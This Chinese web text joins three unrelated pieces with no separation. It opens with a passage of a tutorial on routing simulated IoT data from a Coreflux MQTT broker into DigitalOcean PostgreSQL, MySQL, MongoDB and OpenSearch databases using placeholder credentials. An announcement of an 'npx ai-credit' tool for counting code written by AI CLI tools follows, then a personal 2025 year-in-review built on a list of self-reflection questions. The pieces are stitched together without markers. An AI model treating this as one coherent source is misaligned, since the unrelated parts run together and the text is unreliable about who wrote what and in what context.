因此,我们可以使用一个以定义的时间间隔在特定主题中生成数据的Action,然后由我们将在下面定义的管道的其余部分使用。

你可以下载包含示例项目的github仓库。

生成模拟物联网数据

使用低代码LoTLanguage of Things)界面创建一个Action来生成模拟传感器数据:

DEFINE ACTION RANDOMIZEMachineData
ON EVERY 10 SECONDS DO
    PUBLISH TOPIC "raw_data/machine1" WITH RANDOM BETWEEN 0 AND 10
    PUBLISH TOPIC "raw_data/station2" WITH RANDOM BETWEEN 0 AND 60

在提供的Notebook中,你还有一个Action可以执行递增计数器来模拟数据,作为提供Action的替代方案。

运行LoT操作以生成模拟物联网数据

当你运行这个Action时,它将:

  • 自动部署到MQTT代理
  • 每10秒生成一次模拟的物联网传感器数据
  • 实时数据发布到特定的MQTT主题
  • LoT Notebook界面中显示同步状态

    • 此状态显示LoT Notebook上的代码是否与代理中运行的代码不同,或者是否完全缺失

步骤7 — 为实时处理创建数据转换模型

使用Language of Things定义数据模型

Coreflux中的模型用于转换、聚合和计算来自输入MQTT主题的值,并将结果发布到新主题。它们是创建适用于你多个数据源的UNS - 统一命名空间 - 的基础。

因此,通过该模型,你可以定义原始物联网数据的结构与转换方式,适用于单个设备,也支持同时处理多个设备(借助通配符+实现)。模型还作为用于可扩展存储托管数据库的关键数据模式。

DEFINE MODEL MachineData WITH TOPIC "Simulator/Machine/+/Data"

    ADD "energy" WITH TOPIC "raw_data/+" AS TRIGGER

    ADD "energy_wh" WITH (energy * 1000)

    ADD "production_status" WITH (IF energy > 5 THEN "active" ELSE "inactive")

    ADD "production_count" WITH (IF production_status EQUALS "active" THEN (production_count + 1) ELSE 0)

    ADD "stoppage" WITH (IF production_status EQUALS "inactive" THEN 1 ELSE 0)

    ADD "maintenance_alert" WITH (IF energy > 50 THEN TRUE ELSE FALSE)

    ADD "timestamp" WITH TIMESTAMP "UTC"

这个低代码模型:

  • 使用通配符+自动应用到所有机器
  • 通过乘以1000将能量转换为瓦时(energy_wh)
  • 根据能量阈值确定生产状态
  • 跟踪生产计数和停机事件
  • 向所有实时数据点添加时间戳
  • 从主题结构中提取机器ID
  • 将结构化数据发布到Simulator/Machine/Data主题(将+替换为每个匹配触发器/源数据格式的主题)

由于我们使用Action生成了两个模拟传感器/机器,我们可以看到模型结构自动应用于两者,同时生成了一个json对象和各个单独的主题。

Coreflux模型发布的转换后的MQTT数据

步骤8 — 为可扩展存储设置数据库集成

选择与你在步骤2中选择的数据库相匹配的数据库集成部分。

PostgreSQL集成

在本节中,你将学习如何将处理后的物联网数据存储到DigitalOcean上的PostgreSQL托管数据库中。

要将处理后的物联网数据存储到PostgreSQL托管数据库中,你需要在Coreflux中定义一个Route。Route使用简单、低代码的配置指定数据如何从你的MQTT代理发送到你的PostgreSQL集群:

DEFINE ROUTE PostgreSQL_Log WITH TYPE POSTGRESQL

    ADD SQL_CONFIG

        WITH SERVER "db-postgresql.db.onmyserver.com"

        WITH PORT 25060

        WITH DATABASE "defaultdb"

        WITH USERNAME "doadmin"

        WITH PASSWORD "AVNS_pass"

        WITH USE_SSL TRUE

        WITH TRUST_SERVER_CERTIFICATE FALSE

使用来自DigitalOcean的你自己的PostgreSQL连接详细信息替换,并在你的LoT Notebook中运行该Route重要提示: 为了更好的安全性和更低的延迟,请使用VPC连接详细信息(而非公共连接)。VPC主机名和端口与公共连接字符串不同 - 请检查你的数据库集群的连接详细信息页面以获取这两个选项。

为PostgreSQL数据库存储更新模型

修改你的LoT模型以使用数据库路由进行可扩展存储,通过将此添加到模型的末尾:

STORE IN "PostgreSQL_Log"

    WITH TABLE "MachineProductionData"

此外,添加一个带有主题的参数,以便在你的托管数据库中为每个条目提供唯一标识符。

DEFINE MODEL MachineData WITH TOPIC "Simulator/Machine/+/Data"

    ADD "energy" WITH TOPIC "raw_data/+" AS TRIGGER

    ADD "device_name" WITH REPLACE "+" WITH TOPIC POSITION 2 IN "+"

    ADD "energy_wh" WITH (energy * 1000)

    ADD "production_status" WITH (IF energy > 5 THEN "active" ELSE "inactive")

    ADD "production_count" WITH (IF production_status EQUALS "active" THEN (production_count + 1) ELSE 0)

    ADD "stoppage" WITH (IF production_status EQUALS "inactive" THEN 1 ELSE 0)

    ADD "maintenance_alert" WITH (IF energy > 50 THEN TRUE ELSE FALSE)

    ADD "timestamp" WITH TIMESTAMP "UTC"

    STORE IN "PostgreSQL_Log"

        WITH TABLE "MachineProductionData"

部署此更新后的操作后,所有数据在更新时应自动存储在数据库中。

MySQL集成

MySQL是一种广泛使用的关系数据库管理系统,非常适合大规模存储和分析物联网数据。在本节中,你将学习如何将你的Coreflux MQTT代理连接到DigitalOcean上的托管MySQL数据库,以便你的实时设备数据能够安全可靠地持久化,用于分析、报告或与其他应用程序集成。

要启用此集成,你必须在Coreflux的LoT(Language of Things)中定义一个Route,指示处理后的数据应该发送到哪里以及如何发送。下面是路由数据到MySQL数据库所需的低代码格式。请务必根据需要替换你自己的连接详细信息:

DEFINE ROUTE MySQL_Log WITH TYPE MYSQL
    ADD SQL_CONFIG
        WITH SERVER "db-mysql.db.onmyserver.com"
        WITH PORT 25060
        WITH DATABASE "defaultdb"
        WITH USERNAME "doadmin"
        WITH PASSWORD "AVNS_pass"
        WITH USE_SSL TRUE
        WITH TRUST_SERVER_CERTIFICATE FALSE

使用来自DigitalOcean的你自己的MySQL连接详细信息替换,并在你的LoT Notebook中运行该Route重要提示: 为了更好的安全性和更低的延迟,请使用VPC连接详细信息(而非公共连接)。如果你遇到连接问题,请验证TRUST_SERVER_CERTIFICATE是否已为你的MySQL版本正确设置 - 某些版本需要TRUE,而其他版本则使用FALSE

为MySQL数据库存储更新模型

修改你的LoT模型以使用数据库路由进行可扩展存储,通过将此添加到模型的末尾:

STORE IN "MySQL_Log"
    WITH TABLE "MachineProductionData"

此外,添加一个带有主题的参数,以便在你的托管数据库中为每个条目提供唯一标识符。

DEFINE MODEL MachineData WITH TOPIC "Simulator/Machine/+/Data"
    ADD "energy" WITH TOPIC "raw_data/+" AS TRIGGER
    ADD "device_name" WITH REPLACE "+" WITH TOPIC POSITION 2 IN "+"
    ADD "energy_wh" WITH (energy * 1000)
    ADD "production_status" WITH (IF energy > 5 THEN "active" ELSE "inactive")
    ADD "production_count" WITH (IF production_status EQUALS "active" THEN (production_count + 1) ELSE 0)
    ADD "stoppage" WITH (IF production_status EQUALS "inactive" THEN 1 ELSE 0)
    ADD "maintenance_alert" WITH (IF energy > 50 THEN TRUE ELSE FALSE)
    ADD "timestamp" WITH TIMESTAMP "UTC"
    STORE IN "MySQL_Log"
        WITH TABLE "MachineProductionData"

部署此更新后的操作后,所有数据在更新时应自动存储在数据库中。

MongoDB集成

MongoDB是一种NoSQL数据库,非常适合存储和查询具有灵活模式的物联网数据。在本节中,你将学习如何将你的Coreflux MQTT代理连接到DigitalOcean上的托管MongoDB数据库,以便你的实时设备数据能够安全可靠地持久化,用于分析、报告或与其他应用程序集成。

要启用此集成,你必须在Coreflux的LoT(Language of Things)中定义一个Route,指示处理后的数据应该发送到哪里以及如何发送。下面是路由数据到MongoDB数据库所需的低代码格式。请务必根据需要替换你自己的连接详细信息:

DEFINE ROUTE mongo_route WITH TYPE MONGODB
    ADD MONGODB_CONFIG
        WITH CONNECTION_STRING "mongodb+srv://<username>:<password>@<cluster-uri>/<database>?tls=true&authSource=admin&replicaSet=<replica-set>"
        WITH DATABASE "admin"

使用来自DigitalOcean的你自己的MongoDB连接详细信息替换,并在你的LoT Notebook中运行该Route。重要提示: 当可用时,请使用VPC连接字符串格式。连接字符串应包括tls=trueauthSource=admin参数。有关MongoDB连接故障排除,请参阅我们关于连接MongoDB的教程。

为MongoDB数据库存储更新模型

修改你的LoT模型以使用数据库路由进行可扩展存储,通过将此添加到模型的末尾:

STORE IN "mongo_route"
    WITH TABLE "MachineProductionData"

此外,添加一个带有主题的参数,以便在你的托管数据库中为每个条目提供唯一标识符。

DEFINE MODEL MachineData WITH TOPIC "Simulator/Machine/+/Data"
    ADD "energy" WITH TOPIC "raw_data/+" AS TRIGGER
    ADD "device_name" WITH REPLACE "+" WITH TOPIC POSITION 2 IN "+"
    ADD "energy_wh" WITH (energy * 1000)
    ADD "production_status" WITH (IF energy > 5 THEN "active" ELSE "inactive")
    ADD "production_count" WITH (IF production_status EQUALS "active" THEN (production_count + 1) ELSE 0)
    ADD "stoppage" WITH (IF production_status EQUALS "inactive" THEN 1 ELSE 0)
    ADD "maintenance_alert" WITH (IF energy > 50 THEN TRUE ELSE FALSE)
    ADD "timestamp" WITH TIMESTAMP "UTC"
    STORE IN "mongo_route"
        WITH TABLE "MachineProductionData"

部署此更新后的操作后,所有数据在更新时应自动存储在数据库中。

OpenSearch集成

OpenSearch是一种分布式搜索和分析引擎,专为大规模数据处理和实时分析而设计。在本节中,你将学习如何将你的Coreflux MQTT代理连接到DigitalOcean上的托管OpenSearch数据库,以便你的实时设备数据能够安全可靠地持久化,用于分析、报告或与其他应用程序集成。

要启用此集成,你必须在Coreflux的LoT(Language of Things)中定义一个Route,指示处理后的数据应该发送到哪里以及如何发送。下面是路由数据到OpenSearch数据库所需的低代码格式。请务必根据需要替换你自己的连接详细信息:

DEFINE ROUTE OpenSearch_log WITH TYPE OPENSEARCH
    ADD OPENSEARCH_CONFIG
        WITH BASE_URL "https://my-opensearch-cluster:9200"
        WITH USERNAME "myuser"
        WITH PASSWORD "mypassword"
        WITH USE_SSL TRUE
        WITH IGNORE_CERT_ERRORS FALSE

使用来自DigitalOcean的你自己的OpenSearch连接详细信息替换,并在你的LoT Notebook中运行该Route。重要提示: 当可用时,请使用VPC基础URL(而非公共URL)。基础URL格式通常为https://your-cluster-hostname:9200。对于OpenSearch仪表板访问,请使用数据库集群详细信息中提供的单独的仪表板URL。有关更多详细信息,请参阅我们的OpenSearch快速入门。

为OpenSearch数据库存储更新模型

修改你的LoT模型以使用数据库路由进行可扩展存储,通过将此添加到模型的末尾:

STORE IN "OpenSearch_Log"
    WITH TABLE "MachineProductionData"

此外,添加一个带有主题的参数,以便在你的托管数据库中为每个条目提供唯一标识符。

DEFINE MODEL MachineData WITH TOPIC "Simulator/Machine/+/Data"
    ADD "energy" WITH TOPIC "raw_data/+" AS TRIGGER
    ADD "device_name" WITH REPLACE "+" WITH TOPIC POSITION 2 IN "+"
    ADD "energy_wh" WITH (energy * 1000)
    ADD "production_status" WITH (IF energy > 5 THEN "active" ELSE "inactive")
    ADD "production_count" WITH (IF production_status EQUALS "active" THEN (production_count + 1) ELSE 0)
    ADD "stoppage" WITH (IF production_status EQUALS "inactive" THEN 1 ELSE 0)
    ADD "maintenance_alert" WITH (IF energy > 50 THEN TRUE ELSE FALSE)
    ADD "timestamp" WITH TIMESTAMP "UTC"
    STORE IN "OpenSearch_Log"
        WITH TABLE "MachineProductionData"

部署此更新后的操作后,所有数据在更新时应自动存储在数据库中。

步骤9 — 验证完整的物联网自动化管道

监控实时数据流

  1. MQTT Explorer:使用MQTT客户端验证实时数据发布
  2. 数据库客户端:连接以验证数据的存储(PostgreSQL使用DBeaver,MongoDB使用MongoDB Compass,OpenSearch使用OpenSearch Dashboards)

验证PostgreSQL存储

使用DBeaver连接到你的PostgreSQL托管数据库以验证可扩展存储

  1. 使用来自你的DigitalOcean数据库的连接字符串
  2. 导航到 coreflux-broker-data 数据库(或你为数据库指定的名称)
  3. 检查 MachineProductionData 表中存储的记录

显示存储的物联网记录的PostgreSQL表

正如我们之前看到的,所有数据都可在MQTT代理中用于其他用途和集成。

带有实时机器数据的MQTT主题

验证MongoDB存储

使用MongoDB Compass连接到你的MongoDB托管数据库以验证可扩展存储

  1. 使用来自你的DigitalOcean数据库的连接字符串
  2. 导航到 coreflux-broker-data 数据库(或你为数据库指定的名称)
  3. 检查 MachineProductionData 集合中存储的文档

检查数据库存储

你应该看到具有类似结构的实时数据文档:

{
  "_id": {
    "$oid": "68626dc3e8385cbe9a1666c3"
  },
  "energy": 36,
  "energy_wh": 36000,
  "production_status": "active",
  "production_count": 31,
  "stoppage": 0,
  "maintenance_alert": false,
  "timestamp": "2025-06-30 10:58:11",
  "device_name": "station2"
}

正如我们之前看到的,所有数据都可在MQTT代理中用于其他用途和集成。

验证MySQL存储

使用DBeaver连接到你的MySQL托管数据库以验证可扩展存储:

  1. 使用来自你的DigitalOcean数据库的连接字符串
  2. 导航到coreflux-broker-data数据库(或你为数据库指定的名称)
  3. 检查MachineProductionData表中存储的记录

验证MySQL中存储的物联网记录

与其他集成一样,所有数据也可在MQTT代理中用于其他用途和下游集成。

监控实时数据流

验证OpenSearch存储

使用提供的URL和凭据打开OpenSearchDashboards

  1. 打开菜单并选择索引管理选项

    1. 在菜单中选择索引选项,查看你的表名是否出现在列表中

检查数据库存储

  1. 返回主页并在菜单中选择发现选项

    1. 按照提供的步骤创建索引模式
    2. 返回到发现页面,你应该会看到你的数据

检查数据库存储

正如我们之前看到的,所有数据都可在MQTT代理中用于其他用途和集成。

检查数据库存储

步骤10 - 扩展你的用例和集成

测试LoT能力

  • 发布示例数据:使用MQTT Explorer将示例数据集发布到你的Coreflux代理。尝试不同的负载结构和不同的模型/操作,查看它们如何处理并存储到你选择的数据库中。
  • 数据验证:验证你数据库中的数据与你发布的有效负载是否匹配。使用你的数据库客户端(PostgreSQL使用DBeaver,MongoDB使用MongoDB Compass,OpenSearch使用OpenSearch Dashboards)检查一致性和准确性,确保你的物联网自动化集成按预期工作。比较时间戳、字段转换和数据类型,以验证你的实时数据管道。
  • 实时监控:使用另一个MQTT数据源(例如具有MQTT连接功能的简单传感器)设置连续的实时数据馈送。观察Coreflux和你的数据库如何处理传入的物联网数据流,并探索数据检索和查询的响应时间。

构建分析和可视化

  • 创建仪表板:与Grafana等可视化工具集成,创建显示你的物联网数据的仪表板,从实时MQTT主题和历史数据库查询中提取数据。跟踪指标,如设备正常运行时间、传感器读数、生产计数或来自你自动化系统的维护警报。了解如何使用我们的教程设置DigitalOcean托管数据库与Prometheus和Grafana的监控。对于实时仪表板,直接订阅MQTT主题;对于历史趋势和聚合,查询你的数据库。
  • 趋势分析:利用你数据库的能力来分析随时间变化的趋势:

    • PostgreSQL:使用SQL查询进行复杂的关系分析
    • MongoDB:使用聚合框架进行基于文档的分析
    • OpenSearch:使用高级分析和搜索能力进行全文搜索和时间序列分析
  • 多数据库集成:探索集成其他托管数据库,如用于非结构化数据的MongoDB,用于关系数据的PostgreSQL,用于结构化查询的MySQL,或用于高级分析和搜索的OpenSearch。使用Coreflux路由将数据同时发送到多个目的地。

优化和扩展你的物联网基础设施

  • 负载测试:使用LoT Notebook或自动化脚本通过同时发布多条消息来模拟高流量。监控你的Coreflux MQTT代理和数据库集群如何处理负载,并识别你的数据管道中的任何瓶颈。
  • 扩展DigitalOcean提供垂直和水平扩展选项。随着你的物联网数据需求增长,增加droplet资源(CPU、RAM或存储)。扩展你的托管数据库集群以处理更大的数据集,并配置自动扩展警报,以便在接近资源限制时通知你。

常见问题解答

1. 如何将Coreflux MQTT代理与托管数据库集成?

你通过定义指向目标服务(PostgreSQL、MySQL、MongoDB或OpenSearch)的LoTRoute来将Coreflux MQTT代理与托管数据库集成。每个路由使用适当的连接参数(服务器或连接字符串、端口、数据库名称、用户名、密码和SSL/TLS选项),并自动将MQTT消息有效负载持久化到表、集合或索引中。一旦定义好路由,你就使用STORE IN指令将其附加到Model,这样每个处理后的消息都会被写入你选择的数据库。

2. 我能否在不编写自定义集成代码的情况下将MQTT数据直接保存到数据库?

可以。Coreflux设计为一个低代码集成层,因此你无需编写应用程序代码或外部ETL作业来持久化数据。对于每种数据库类型,你配置一个LoT路由(例如,PostgreSQL_LogMySQL_Logmongo_routeOpenSearch_Log),然后使用STORE IN "<route_name>" WITH TABLE "MachineProductionData"扩展你的模型。Coreflux处理连接池、重试和错误处理,因此你可以专注于建模主题和转换,而不是样板数据库代码。

3. 我应该为MQTT物联网数据存储选择哪种托管数据库?

你的MQTT物联网数据的最佳托管数据库取决于你的数据结构、查询需求和分析目标。使用下面的比较表来帮助你决定:

数据库最适合示例用例
PostgreSQL强一致性、关系模式、复杂的SQL查询工业传感器网络、事务性事件、需要跨连接数据集的分析
MySQL关系数据、结构化查询、广泛的兼容性库存系统、生产指标、传统业务记录
MongoDB灵活、不断演进的模式;文档存储具有可变负载的互联设备、具有变化格式的物联网遥测
OpenSearch全文搜索、分析、仪表板、日志索引时间序列分析、监控、事件日志、物联网搜索和可视化

提示: 你可以通过配置多个Coreflux路由同时使用多个托管数据库。这使得可以从同一个MQTT流中,将结构化的物联网数据存储在PostgreSQL或MySQL中,在OpenSearch中聚合日志和指标,并在MongoDB中收集非结构化或无模式数据。

4. 这种架构如何处理实时和历史分析?

Coreflux将所有处理后的值保留在MQTT主题上,供实时消费、仪表板或额外管道使用,而Routes则将相同的建模数据持久化到你的数据库中,用于历史查询。在实践中,你可以订阅主题以进行即时反应(警报、控制回路),并查询PostgreSQL/MySQL/MongoDB/OpenSearch以进行聚合、趋势和长期分析。这种双路径设计反映了MQTT和物联网数据集成教程中的常见模式,其中代理提供实时消息传递,而数据库提供持久存储和分析。

5. Coreflux和托管数据库之间的连接有多安全?

当部署在DigitalOcean上时,你可以使用VPC网络来保持Coreflux MQTT代理和数据库之间的所有通信私密。VPC将你的资源与公共互联网访问隔离开来,并且DigitalOcean托管数据库支持连接的TLS加密。此外,你可以为你的Coreflux应用程序创建具有有限权限的专用数据库用户,遵循最小权限原则。

6. 这个设置是否适用于生产环境物联网部署?

是的。这种架构反映了生产环境中MQTT和数据库集成所使用的模式,其中代理前端处理设备流量,而托管数据库层提供持久性和分析。DigitalOcean托管数据库提供自动备份、高可用性和监控,而Coreflux MQTT代理可以水平扩展以处理高消息吞吐量。对于生产环境,你还应该配置防火墙规则、使用强凭据、为MQTT和数据库连接启用TLS,并根据预期的消息量来调整你的droplet和集群大小。

7. 我能否在没有公共互联网访问的情况下,或在混合环境中运行MQTT代理?

可以。MQTT代理通常部署在私有网络或边缘环境中,公共资源一致指出,只要客户端可以访问代理,MQTT就可以在没有公共互联网的情况下工作。使用DigitalOcean,你可以将Coreflux和你的数据库保持在VPC内部,并且只暴露绝对必要的内容(例如,VPN、堡垒主机或有限的防火墙规则)。如果你需要混合或多站点架构,你还可以将选定的主题与其他代理或云区域同步。

8. 在物联网数据中使用MQTT和数据库是否存在任何限制或权衡?

MQTT针对轻量级、事件驱动的消息传递进行了优化;数据库则针对存储和查询进行了优化。存储每一条原始消息可能会变得昂贵或嘈杂,因此最佳实践建议仔细建模数据(例如,聚合指标、过滤主题或降采样)。极低功耗设备或超受限网络可能难以维持持久连接或处理TLS开销,在这种情况下,你可能需要调整QoS级别、批处理和保留策略。只要你在设计中考虑到这些权衡,MQTT加上托管数据库对于大多数物联网场景都能很好地工作。

9. 我如何为我的物联网项目在PostgreSQL、MySQL、MongoDB和OpenSearch之间做出选择?

你应该根据物联网数据结构、可扩展性以及你希望如何查询设备数据来选择托管数据库。下表总结了每个选项的优势:

数据库当...时最佳典型用例关键优势
PostgreSQL你需要复杂的关系查询、强一致性和事务完整性(ACID支持)。工业传感器网络、将设备数据与生产相关联、需要对连接的数据集进行分析关系模式、高级SQL、一致性
MySQL你的工作负载是结构化的,具有广泛的工具和兼容性需求。库存跟踪、传统业务系统、生产指标更简单的关系需求、广泛支持
MongoDB你的设备负载和模式不断演变,或者你希望使用灵活的、基于文档的存储进行快速原型设计。具有可变格式的物联网遥测、快速开发、半结构化数据灵活的模式、易于扩展、快速原型设计
OpenSearch你需要分析、搜索或对大容量的物联网数据(日志、时间序列、事件)进行仪表板展示。搜索传感器数据、日志分析、可视化、基于关键字/时间的查询搜索、全文、分析、快速聚合

结论

将Coreflux MQTT代理与DigitalOcean的托管数据库服务(PostgreSQL、MongoDB、MySQL或OpenSearch)集成,为你提供了实时物联网数据处理和存储的完整设置。按照本教程,你已经使用低代码开发实践构建了一个收集、处理和存储物联网数据的自动化管道。

借助Coreflux的架构和你选择的数据库的存储特性,你可以处理大量的实时数据并查询它以获取洞察。无论你是监控工业系统、跟踪环境传感器还是管理智慧城市基础设施,这种设置都让你能够基于实时MQTT主题和历史数据库查询做出数据驱动的决策。

了解更多关于DigitalOcean托管数据库的信息,以及DigitalOcean 针对 IoT行业的产品服务支持,可咨询 DigitalOcean 中国区独家战略合作伙伴卓普云AI Droplet(aidroplet.com)

你可以尝试提供的用例或使用Coreflux和DigitalOcean实现你自己的用例。你还可以在DigitalOcean Droplet市场或通过Coreflux网站获取免费的Coreflux MQTT代理

突发奇想,因为平时都是 claude code, codex, gemini 混着一起用,改不同的模块,就在想能不能统计各种 AI Cli 工具在项目里“真正写进代码库”的贡献量。大概调研了一下发现确实可以,所以实现了一个版本,执行下面的命令可以直接扫描代码库

npx ai-credit

工作原理是扫描各类 AI 工具的本地会话日志,提取实际产生的 file diff ,然后和当前工作区逐行匹配,输出每个工具/模型的新增、删除行数和文件列表。所有操作全部在本地,不会做任何上传,代码开源。

官网: https://ai-credits.vercel.app

repo: https://github.com/debugtheworldbot/ai-credit

欢迎试用、提建议、补充更多 cli 🙌

看到同学发的文章,是 Obsidian 的 CEO 每年问自己的 40 个问题。刚好我也在用 Obsidian 写笔记,刚好我也还欠着 2025 年度回顾没写 (最近光顾着玩游戏了,更新都是靠存稿撑着哈哈),而且感觉问题清单很不错,于是也来跟风自问自答一篇。


1. 你有没有遵守年初时和自己许下的约定?

年初没有设定太具体的目标,只有个大概期望:一方面是工作顺遂,另一方面是大幅减重。

基本都做到了,工作经历了一些波折和焦灼之后重新恢复到稳定状态,体重更是回到了 20 年前大学时代的水平,体检各项指标也有显著改善,超出预期了。

2. 你今年做了哪些之前从未做过的事?

开设了公众号,之前只在微信读书发书评,以及朋友圈和 Facebook 的一些笔记,现在有了一个固定的长内容输出平台,瞬间激发了中年老男人无处安放的分享欲啊~ 🤣🤣🤣

而且从 11 月开始,还尝试挑战「日更不辍」每天发文,基本也都坚持下来了,给自己在读书和游戏之外,找到了新的乐趣来源。

3. 你的性格是什么?

我的 MBTI 人格测试 结果是 ESTJ (偶尔 ENTJ),但我始终觉得自己本质上是个 I 人,并没有太多的线下社交的需求,也不喜欢「现充」的生活状态,更喜欢安静的独处,看书、玩游戏 (而且只玩单机,不玩网游和手游)、再加上新的写作爱好才是我最舒服的美好时光。

只是可能有一点「表演型人格」的因素 (我在 PDP 性格测试 中是一只超级大 孔雀 哈哈),所以和任何人相处的时候都能够挥洒自如,所以大家都认为我是社交达人,其实那不是内心深处的我。

但我是个 J 人绝对没错!不仅是工作,就连生活也都有计划,提前 1-2 周就把时间都 Mark 到日程表上了 (而且对于非预约的突然来访、未提前通知的会议、临时起意召集的聚会等行径都极其厌烦,因为打乱了我的既定安排)

4. 你今年买过的最好的东西是什么?

安装全屋暖气系统,以及更换预埋网线升级全屋千兆 Wi-Fi 7 网络,这两件事非常值得,我也写了专门的攻略文章分享:

告别湿冷!在上海过冬也能穿短袖?全屋墙暖 yyds~

这 5000 元花的太香了!更换装修预埋网线,重构全屋千兆网络

唯一后悔的点是动手太晚了,应该早几年就折腾起来的。

640

5. 你去了哪些城市/州/国家?

自从疫情三年之后,护照就被收走了,也懒得麻烦借用,就一直没再出国。

今年出差也比前几年少了很多,大概只是常去的几个城市:北京、广州、杭州、武汉、苏州、常州、厦门、宁德、重庆这些吧。

另外 9 月份休假去了贵州和广西,都是之前出差去过但没时间玩的地方,换个心情去旅游确实有完全不一样的体验。

6. 你最害怕的是什么?

害怕父母会太早离开我们。

年初老爸复诊发现一个疑似转移,当时非常紧张,我研究了很多内容还写了分析笔记,甚至预先规划好可能的几种备选方案。后来经过两家最好医院的专家分别检查诊断,确认只是虚惊一场才放下心来。刚写到这里又回去翻了一下当时的笔记,那种慌乱和恐惧的情绪还历历在目。

7. 今年的哪些日子会铭刻在你的记忆中,为什么?

6 月 1 日,给黑妞儿过 20 周岁生日! 🎂🎂🎂

我们提前挑选了很多照片打印出来,准备了彩色纸张组成大字横幅,然后用鱼线悬挂起来布置了客厅,给我们的第一只猫也是最老的猫庆祝 20 周岁生日 (相当于人类 100 岁左右)。从 2005-2025 年,黑妞儿一起经历了我们生活过的每一个家,从杭州到上海,从租房到买房到换房,希望他还能继续多陪伴我们几年~

640 (1)

8. 现在的你会给十年前的你一些什么建议?

十年前就是 2015 年,我们在那一年当中一口气买了 3 套房子,还买了一辆 60+ 万的车,买东西更是直接选最贵的,5 万的除湿机、2 万的冰箱、1 万的电视、8000 的洗衣机,甚至直到现在看着家里那台 6000 元的电风扇也觉得当初过于丧心病狂了 —— 那时候正是我们自信心过度膨胀到顶点的时刻。

如果能给当时的自己一点建议,只希望能够提前清醒过来:人生的收入曲线并不是永远上升的,房价不会永远涨,经济大环境也不会永远那么好。

9. 你希望十年之后,什么发生了变化?

希望十年之后,自己的心态能够更加平和,笑看人生,云淡风轻。

不是现在这样,面对逆境只是强行让自己苟住。而是到那个时候,国家统一了、世界和平了、经济回暖了、事业更好了,自然而然就会放松下来,信心满满,游刃有余。

10. 你希望十年之后,什么依旧保持一致?

希望十年之后,全家 6 口人还是好好的生活在一起!

11. 若拥有亿万财富,你会做什么?

我应该会做点没有负担没有压力的工作,以便让自己有更多的时间读书、写作、玩游戏吧~ (梦里啥都有哈哈哈)

12. 你今年最大的失败是什么?

有些事情,不是自己需要负责的范畴,就应该第一时间坚决果断的拒绝,而不是碍于情面虚与委蛇,最后反而被拉扯进去,不得不硬着头皮处理一些很消耗情绪价值的破事。

13. 你最厌恶别人的特质是什么?

厌蠢! 😡😡😡

我宁愿和坏人斗智斗勇,也讨厌和蠢人打交道。无知、固执、反智、低效,这些卑劣的特质居然可以在一个人身上同时显现,真是令人憎恶。。。

14. 在你心中什么是最完美的幸福?

对于 J 人来说,事情能够按照自己的预期规划顺利进行,就是幸福。

善战者无赫赫之功,最好不要有任何意外来彰显我的应急能力。

15. 今年你大部分的钱都花到哪里去了?

今年基本清空了全部房贷,还剩下一点保留抵税,并且已经可以用公积金完全覆盖了。还换了一辆 MPV 电车。

16. 有什么事让你感到超级、超级、超级兴奋?

貌似没有。

17. 与去年的这个时候相比,你是:感到更快乐还是更悲伤了?变得更瘦还是更胖了?变得更富还是更穷了?

情绪上稳定乐观吧,没什么悲伤,但是经济大环境让人快乐不起来。

体型上更瘦了,这个非常明显,体重从 194 斤减到 135 斤,全部衣服裤子都换了,就连腰带都刚重新买了一条更短的。。。

经济上算是负债大幅降低,去杠杆任务基本完成了。

18. 什么是最痛苦的?

焦虑,而又无力解决,然后更加焦虑。

有一段时间压力很大,失眠很严重,不得不靠吃药才能调节,还好后来事情回归平稳状态,情绪也慢慢舒缓下来了。

19. 你希望自己能做得更多的是什么?

持续阅读,持续学习,持续思考,持续输出。

20. 你希望自己能做得更少的是什么?

无效社交,减少非必要的应酬,尽可能不喝酒,把时间留给自己。

同时减少噪音干扰,卸载抖音,屏蔽视频号,大量取消关注的人,避免信息过载,把更多时间留给读书和写作。

21. 你是如何度过节假日的?

全家人终于都长住上海了,而且都在同一个小区,节假日就是宅在家里不出门啊!(最近《Diablo IV》预售 DLC2 开放新角色圣骑士,更是没日没夜刷游戏了哈哈哈~) 🎮🎮🎮

旅游都是错峰休假出行,坚决远离人多的时间和地方。

22. 你最想培养的特质是什么?

学会拒绝别人。

放下助人情结,尊重他人命运。

23. 你是否有讨厌某个你去年此时不觉得讨厌的人呢?

没有。

讨厌的人一直都是那么讨厌,只需要「再也不见」就好了。

24. 你今年最喜欢的电视节目是什么?

不看电视。

25. 你今年读过最好的一本书是什么?

《毛泽东选集》,经典永远是经典! 伟人近一百年前写的文章,其中很多内容时至今日仍是至理。

围绕着重读《毛选》的感悟,今年还写了好多篇读书笔记。

26. 你今年发现的最好听的一首歌是什么?

在我的每月随笔中,陆续推荐过几首歌:郁可唯《再见的,不见的》、王优秀《想某人 (DJ 舞曲版)》、石岩《蜉蝣志》、徐佳莹《我经过风暴》、张碧晨《我不原谅》、任素汐《亲爱的你啊》。

其中还写了两篇听歌笔记:
一曲《蜉蝣志》:唱的不是修仙,而是我们凡人
不是情歌!从《亲爱的你啊》听到了我们每一个咬牙坚持的追梦人

如果只能选一首的话,我投票给《亲爱的你啊》。

27. 你最喜欢的电影是什么?

也不看电影。

28. 你最喜欢的一餐是什么?

在北京南站吃了一碗久违的李先生牛肉面。

为此还专门写了一篇笔记:
记忆的味道:一碗牛肉面的时光叙事

29. 有什么是你想要且得到了的?

全家人都在一起,工作稳定且比较顺利,身体健康。

30. 有什么是你想要却没有得到的?

哪怕是最低限度的财富自由。

31. 你在生日那天做了什么?

上班同事送给我一个非常好吃的小蛋糕,回家太太送给我一台 5080 游戏本 (所以我最近玩游戏的时间明显增多了哈哈哈) ~ 🎁🎁🎁

640 (2)

32. 有什么还未发生的事,如果发生了,会让你的这一年变得无比满足?

花了很多时间精力,跟进了整整一年的全新业务板块,最终还是没能赶在年底前正式落地,首单产出只能等到 1 月份了,实在是有点遗憾。

33. 是什么让你保持理智?

我知道自己在人多混乱的地方就会情绪暴躁,那么就要提前回避这样的场景出现,宁可这顿饭不去吃、这个景点不去玩、这个东西不去买。

同理,已经 40 多岁的中年老登了,应该能对自己有一定的预见性,遇到破事提前做好心理建设吧 (情绪稳定的太太绝对是我的灭火器) ~ 🧯🧯🧯

34. 你最想去什么地方生活?

夏天去东北或烟台避暑,冬天去大理或者海南,春秋在上海与朋友们小聚,每年 3 月和 9 月刚开学又没有长假的时间错峰出行旅游。

35. 你欣赏男人身上的气质是什么?

三观正,有逻辑,遇事不慌,中正平和。

36. 你欣赏女人身上的气质是什么?

善良,独立 (不仅仅是经济上独立,还包括独立生活能力),情绪稳定。

37. 你最钦佩哪位名人/公众人物?

毛泽东 (原因参见第 25 个问题)

